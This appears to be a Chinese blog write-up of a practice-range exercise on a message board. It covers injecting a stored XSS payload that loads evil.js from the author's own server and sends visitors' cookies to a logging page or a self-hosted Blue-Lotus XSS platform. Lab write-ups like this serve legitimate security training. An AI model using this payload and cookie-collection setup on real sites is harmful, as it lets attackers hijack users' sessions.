公开课基础演练靶场-第三章:为了更多的权限!留言板!

 

 

tips提示就知道是要我们构造存储型xss payload获取受害者cookie。

 

本来我电脑上已经有了phpstudy,于是自己上网查资料写了代码。

网站留言部分注入<script src=”http://本机地址/phpstudy网站目录/evil.js”></script>

evil.js文件中的核心代码如下:

创建一个img元素并添加到网页中,受害者浏览器通过加载src时就会访问我本地机器上的log.php文件,并且在访问时带上他的cookie。

 

 

受害者访问log.php时,通过$_SERVER[“REQUEST_URI”]获取到他的访问路径和cookie参数,然后将其存储到本地文件。

 

 

但是测试时才发现原来受害者不能访问到我的内网地址,而且不知道为什么我在本地测试直接访问evil.js文件时也不能接收到cookie。通过火狐插件Modify Headers专门设置cookie之后,网络面板能很清楚看到,但是js弹框还是空。

卒!!

 

 

于是改用xss平台,但是上网搜索一番还是觉得自建xss平台比较好,于是选择phpstudy+blue-lotus+花生壳。以下是部分截图。

 

 

 

 

 

 

花生壳提供一个内网地址和外网地址的映射,这样受害者机器就可以访问到我本地的文件。Phpstudy作为服务器,这个没什么好说的。

Blue-lotus生成payload,并且实时监测获取受害者返回来的信息并展示。

大致流程就是这样。

 

 

下面分析下blue-lotus提供的default.js模板中获取cookie的代码:

 

 

语言的语法不是太懂,但是大概能看懂它的逻辑。

公共模板中的default.js,就是new了一个Image,这个对象的src=http://你的服务器的地址/BLUE-LOTUS在phpstudy网站服务器上的地址/index.php?从受害者处获得的一堆参数(其中就包括这里最重要的cookie)

蓝莲花下的index.php在接收上面的Image对象后,传参给index.php。接下来看看index.php,这个文件中前期大部分都是在处理从受害者那里获得的各种信息,核心代码就一句:

 

 

 

就是调用了dio.php中的save_xss_record()函数,继续打开dio.php文件查看函数的具体实现。

 

 

 

总之就是将获得的数据以某种格式保存到本地文件中。之后在XSS的接受面板中将这些数据以表格的形式显示。

 

从cookie中能看到cookie,这里我直接复制flag居然是错的,必须按着敲上去。不懂

 

posted @ 2023-02-28 13:28  林序  阅读(321)  评论(0)    收藏  举报